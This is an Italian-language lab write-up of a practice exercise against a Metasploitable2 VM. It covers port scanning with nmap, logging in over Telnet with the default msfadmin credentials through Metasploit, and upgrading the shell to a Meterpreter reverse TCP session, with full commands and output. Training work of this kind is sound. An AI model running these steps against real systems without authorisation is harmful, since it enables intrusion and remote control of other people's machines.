

Progetto S7L2 – La fase di exploit: Exploit Telnet con Metasploit

Esercizio di Pratica

INTRODUZIONE

- ✓ Fase 1: Scansione del Servizio Telnet
Utilizzare Metasploit per analizzare il servizio Telnet sulla macchina Metasploitable, adoperando il modulo auxiliary/scanner/telnet/telnet_version

- ✓ Fase 2: Autenticazione e Creazione della Sessione
L'obiettivo è ottenere l'accesso a Metasploitable 2 sfruttando le sue credenziali predefinite. Utilizza il modulo auxiliary/scanner/telnet/telnet_login e imposta i seguenti parametri:
 - Il target (RHOSTS).
 - Le credenziali note (USERNAME e PASSWORD).
 - L'opzione STOP_ON_SUCCESS su true.

- ✓ Fase 3: Gestione delle Sessioni
Verifica le sessioni attive tramite il comando sessions -l. Per interagire con la sessione appena creata, digita sessions -i <ID_sessione>

- ✓ Fase 4: Upgrade della Sessione a Meterpreter
Metti in background la sessione attiva usando la combinazione di tasti Ctrl+Z e confermando con y alla richiesta. Successivamente, utilizza il modulo post/multi/manage/shell_to_meterpreter per eseguire l'upgrade della sessione a Meterpreter. Controlla le opzioni con il comando show options ed effettua tutte le configurazioni necessarie per completare l'operazione

PREFAZIONE

Questo esercizio vede in azione due Macchine Virtuali: Kali Linux come Attaccante, Metasploitable2 come Target.

Kali Linux con ip 192.168.2.100
Metasploitable2 con ip 192.168.2.4

ESECUZIONE: Fase 1

Come prima cosa effettuo un [ping](#) dalla Macchina Kali Linux alla Metasploitable per accertarmi che possano comunicare

```
(kali㉿kali)-[~]
└─$ ping 192.168.2.4
PING 192.168.2.4 (192.168.2.4) 56(84) bytes of data.
64 bytes from 192.168.2.4: icmp_seq=1 ttl=64 time=0.414 ms
64 bytes from 192.168.2.4: icmp_seq=2 ttl=64 time=0.511 ms
64 bytes from 192.168.2.4: icmp_seq=3 ttl=64 time=0.363 ms
^C
--- 192.168.2.4 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2043ms
rtt min/avg/max/mdev = 0.363/0.429/0.511/0.061 ms
```

Eseguo il comando [nmap -Pn -p- 192.168.2.4](#) per effettuare uno scan delle porte della Metasploitable2

```
(kali㉿kali)-[~]
└─$ nmap -Pn -p- 192.168.2.4
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-20 08:21 -0500
Nmap scan report for 192.168.2.4
Host is up (0.00012s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  ircs-u
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  msgsrvr
34280/tcp open  unknown
51859/tcp open  unknown
53314/tcp open  unknown
60839/tcp open  unknown
MAC Address: 08:00:27:46:40:BC (Oracle VirtualBox virtual NIC)
```

Avvio Metasploit con il comando `msfconsole`:

```
(kali㉿kali)-[~]
$ msfconsole
Metasploit tip: When in a module, use back to go back to the top level
prompt

*Neutrino_Cannon*PrettyBeefy*PostalTime*binbash*deadastronauts*EvilBunnyWrote*L1T*Mail.ru*() { :;}; echo vulnerable*
*Team sorceror*ADACTF*BisonSquad*socialdistancing*LeukeTeamNaam*OWASP Moncton*Alegori*exit*Vampire Bunnies*APT593*
*QuePasaZombiesAndFriends*NetSecBG*coincoin*ShroomZ*Slow Coders*Scavenger Security*Bruh*NoTeamName*Terminal Cult*
*edspinner*BFG*MagentaHats*0x01DA*Kaczuszki*AlphaPwners*FILAHA*Rafaela*HackSurYvette*outline*HackSouth*Corax*yeeb0iz*
*SKUUA*Cyber COBRA*flaghunters*0x0D*AI Generated*CSEC*p3nnm3d*IFS*CTF_Circle*ItnotecLabs*baadf0dd*BitSwitchers*0xnoobs*
*ItPwns - Intergalactic Team of PWNS*PCCsquared*fr334aks*runCMD*0x194*Kapital Krakens*ReadyPlayer1337*Team 443*
*H4CKSN0W*InfoSec*CTF Community*DCZia*NiceWay*0xBlueSky*ME3*Tipi*Hack*Porg Pwn Platoon*Hackerty*hackstreetboys*
*ideaengine007*eggcellent*H4xx*cw167*localhorst*Original Cyan Lonker*Sad_Pandas*FalseFlag*OurHeartBleedsOrange*SBWASP*
*Cult of the Dead Turkey*doesthismatter*crayontheft*Cyber Mausoleum*scripterz*VetSec*norobot*Delta Squad Zero*Mukesh*
```

Ed eseguo search type:auxiliary telnet

Nell'immagine vengono rappresentati i moduli, e imposto: `use 14` per il modulo `auxiliary/scanner/telnet/telnet_version`, nella quale:

use: è il comando in Metasploit che permette di caricare un modulo
auxiliary/scanner/telnet/telnet_version: è il percorso del modulo.

Digito **show options**, per avere le opzioni del modulo

```
msf auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):
Name      Current Setting  Required  Description
_____
PASSWORD          no       The password for the specified username
RHOSTS           yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT            23      yes      The target port (TCP)
THREADS          1        yes      The number of concurrent threads (max one per host)
TIMEOUT          30      yes      Timeout for the Telnet probe
USERNAME          no       The username to authenticate as

View the full module info with the info, or info -d command.
```

RHOSTS risulta vuoto, scrivo set RHOSTS 192.168.2.4 (ip Metasploitable2)

```
msf auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.2.4  
RHOSTS => 192.168.2.4
```

E run (avvio)

1.ESECUZIONE: Fase 2

Sul terminale scrivo:`back`, e riavvio il modulo `search type:auxiliary telnet`

```
msf auxiliary(scanner/telnet/telnet_version) > back
msf > search type:auxiliary telnet

Matching Modules
=====
#  Name
0 auxiliary/server/capture/telnet
1 auxiliary/scanner/telnet/brocade_enable_login
2 auxiliary/dos/cisco/ios_telnet_rocm
3 auxiliary/admin/http/dlink_dir_300_600_exec_noauth
4 auxiliary/scanner/ssh/juniper_backdoor
5 auxiliary/scanner/telnet/lantronix_telnet_password
6 auxiliary/scanner/telnet/lantronix_telnet_version
7 auxiliary/dos/windows/ftp/lis75_ftpd_lac_bof
8 auxiliary/admin/http/netgear_pnpx_getsharefolderlist_auth_bypass
9 auxiliary/admin/http/netgear_r6700_pass_reset
10 auxiliary/admin/http/netgear_r7000_backup_cgi_heap_overflow_rce
11 auxiliary/scanner/telnet/telnet_ruggedcom
12 auxiliary/scanner/telnet/satel_cmd_exec
13 auxiliary/scanner/telnet/telnet_login
14 auxiliary/scanner/telnet/telnet_version
15 auxiliary/scanner/telnet/telnet_encrypt_overflow

      Disclosure Date Rank Check Description
. normal No Authentication Capture: Telnet
. normal No Brocade Enable Login Check Scanner
2017-03-17 normal No Cisco IOS Telnet Denial of Service
2013-02-04 normal No D-Link DIR-600 / DIR-300 Unauthenticated Remote Command Execution
2015-12-20 normal No Juniper SSH Backdoor Scanner
. normal No Lantronix Telnet Password Recovery
. normal No Lantronix Telnet Service Banner Detection
2010-12-21 normal No Microsoft IIS FTP Server Encoded Response Overflow Trigger
2021-09-06 normal Yes Netgear PNXP_GetShareFolderlist Authentication Bypass
2020-06-15 normal Yes Netgear R6700v3 Unauthenticated LAN Admin Password Reset
2021-04-21 normal Yes Netgear R7000 backup.cgi Heap Overflow RCE
. normal No RuggedCom Telnet Password Generator
2017-04-07 normal No Satel Iberia SenNet Data Logger and Electricity Meters Command Injection Vulnerability
. normal No Telnet Login Check Scanner
. normal No Telnet Service Banner Detection
. normal No Telnet Service Encryption Key ID Overflow Detection

Interact with a module by name or index. For example info 15, use 15 or use auxiliary/scanner/telnet/telnet_encrypt_overflow
```

Qui utilizzo il modulo 13 (`use13`) e vedo le opzioni

```
msf > use 13
msf auxiliary(scanner/telnet/telnet_login) > options

Module options (auxiliary/scanner/telnet/telnet_login):
=====
Name          Current Setting  Required  Description
ANONYMOUS_LOGIN    false        yes       Attempt to login with a blank username and password
BLANK_PASSWORDS   false        no        Try blank passwords for all users
BRUTEFORCE_SPEED  5           yes      How fast to bruteforce, from 0 to 5
CreateSession     true         no        Create a new session for every successful login
DB_ALL_CREDS     false        no        Try each user/password couple stored in the current database
DB_ALL_PASS       false        no        Add all passwords in the current database to the list
DB_ALL_USERS     false        no        Add all users in the current database to the list
DB_SKIP_EXISTING none        no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD         msfadmin     no        A specific password to authenticate with
PASS_FILE        no           no        File containing passwords, one per line
RHOSTS           192.168.2.4  yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT            23           yes      The target port (TCP)
STOP_ON_SUCCESS  false        yes      Stop guessing when a credential works for a host
THREADS          1            yes      The number of concurrent threads (max one per host)
USERNAME         msfadmin     no        A specific username to authenticate as
USERPASS_FILE    no           no        File containing users and passwords separated by space, one pair per line
USER_AS_PASS     false        no        Try the username as the password for all users
USER_FILE        no           no        File containing usernames, one per line
VERBOSE          true         yes     Whether to print output for all attempts

View the full module info with the info, or info -d command.
```

Imposto **RHOST** 192.168.2.4, set **PASSWORD** msfadmin, set **USERNAME** msfadmin, set **STOP_ON_SUCCESS** true e infine torno sulle opzioni

```
msf auxiliary(scanner/telnet/telnet_login) > show options

Module options (auxiliary/scanner/telnet/telnet_login):
=====
Name          Current Setting  Required  Description
ANONYMOUS_LOGIN    false        yes       Attempt to login with a blank username and password
BLANK_PASSWORDS   false        no        Try blank passwords for all users
BRUTEFORCE_SPEED  5           yes      How fast to bruteforce, from 0 to 5
CreateSession     true         no        Create a new session for every successful login
DB_ALL_CREDS     false        no        Try each user/password couple stored in the current database
DB_ALL_PASS       false        no        Add all passwords in the current database to the list
DB_ALL_USERS     false        no        Add all users in the current database to the list
DB_SKIP_EXISTING none        no        Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
PASSWORD         msfadmin     no        A specific password to authenticate with
PASS_FILE        no           no        File containing passwords, one per line
RHOSTS           192.168.2.4  yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT            23           yes      The target port (TCP)
STOP_ON_SUCCESS  true         yes      Stop guessing when a credential works for a host
THREADS          1            yes      The number of concurrent threads (max one per host)
USERNAME         msfadmin     no        A specific username to authenticate as
USERPASS_FILE    no           no        File containing users and passwords separated by space, one pair per line
USER_AS_PASS     false        no        Try the username as the password for all users
USER_FILE        no           no        File containing usernames, one per line
VERBOSE          true         yes     Whether to print output for all attempts
```

Infine **run** (avvia)

```

View the full module info with the info, or info -d command.

msf auxiliary(scanner/telnet/telnet_login) > run
[!] 192.168.2.4:23      - No active DB -- Credential data will not be saved!
[+] 192.168.2.4:23      - 192.168.2.4:23 - Login Successful: msfadmin:msfadmin
[*] 192.168.2.4:23      - Attempting to start session 192.168.2.4:23 with msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.2.100:41821 → 192.168.2.4:23) at 2026-01-20 08:47:16 -0500
[*] 192.168.2.4:23      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

```

2. ESECUZIONE: Fase 3

Verifico la sessione appena creata con il comando: `sessions`

```

msf auxiliary(scanner/telnet/telnet_login) > sessions
Active sessions
=====

```

Id	Name	Type	Information	Connection
1		TELNET	msfadmin:msfadmin (192.168.2.4:23)	192.168.2.100:41821 → 192.168.2.4:23 (192.168.2.4)

All'interno eseguo `sessions -i 1` e chiedo chi sono io `whoami` con risposta `msfadmin`

```

msf auxiliary(scanner/telnet/telnet_login) > sessions -i 1
[*] Starting interaction with 1 ...

msfadmin@metasploitable:~$ whoami
whoami
msfadmin
msfadmin@metasploitable:~$ ^Z

```

3. ESECUZIONE: Fase 4

Metto in background la sessione, e utilizzo il modulo `post/multi/manage/shell_to_meterpreter` per eseguire l'upgrade della sessione a Meterpreter

```

Background session 1? [y/N] y
msf auxiliary(scanner/telnet/telnet_login) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > options

Module options (post/multi/manage/shell_to_meterpreter):

```

Name	Current Setting	Required	Description
HANDLER	true	yes	Start an exploit/multi/handler to receive the connection
LHOST		no	IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT	4433	yes	Port for payload to connect to.
SESSION		yes	The session to run this module on

```

View the full module info with the info, or info -d command.

```

Imposto `set LHOST 192.168.2.100` > Kali Linux

`set SESSION 1` e `options`

```

msf post(multi/manage/shell_to_meterpreter) > set LHOST 192.168.2.100
LHOST => 192.168.2.100
msf post(multi/manage/shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(multi/manage/shell_to_meterpreter) > options

Module options (post/multi/manage/shell_to_meterpreter):

Name      Current Setting  Required  Description
_____
HANDLER   true            yes       Start an exploit/multi/handler to receive the connection
LHOST     192.168.2.100    no        IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT     4433             yes      Port for payload to connect to.
SESSION   1                yes      The session to run this module on

View the full module info with the info, or info -d command.

```

Inserisco run (avvia)

```

msf post(multi/manage/shell_to_meterpreter) > run
[*] SESSION may not be compatible with this module:
[!] * Unknown session platform. This module works with: Linux, OSX, Unix, Solaris, BSD, Windows.
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.100:4433
[*] Sending stage (1062760 bytes) to 192.168.2.4
[*] Meterpreter session 2 opened (192.168.2.100:4433 → 192.168.2.4:45553) at 2026-01-20 09:06:13 -0500
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed

```

Con `sessions -l` vedo le sessioni attive, dopo passo alla `sessione 2` con `sessions -i 2`, con `sysinfo` e `getuid` le informazioni di sistema e id della Metasploitable2:

```

msf post(multi/manage/shell_to_meterpreter) > sessions -l
Active sessions
_____
Id  Name  Type          Information                                         Connection
--  --   --           --                                                 --
1   shell  TELNET msfadmin:msfadmin (192.168.2.4:23)  192.168.2.100:41821 → 192.168.2.4:23 (192.168.2.4)
2   meterpreter x86/linux  msfadmin @ metasploitable.localdomain  192.168.2.100:4433 → 192.168.2.4:45553 (192.168.2.4)

msf post(multi/manage/shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2 ...

meterpreter > sysinfo
Computer   : metasploitable.localdomain
OS         : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture: i686
BuildTuple  : i486-linux-musl
Meterpreter : x86/linux
meterpreter > getuid
Server username: msfadmin
meterpreter > 

```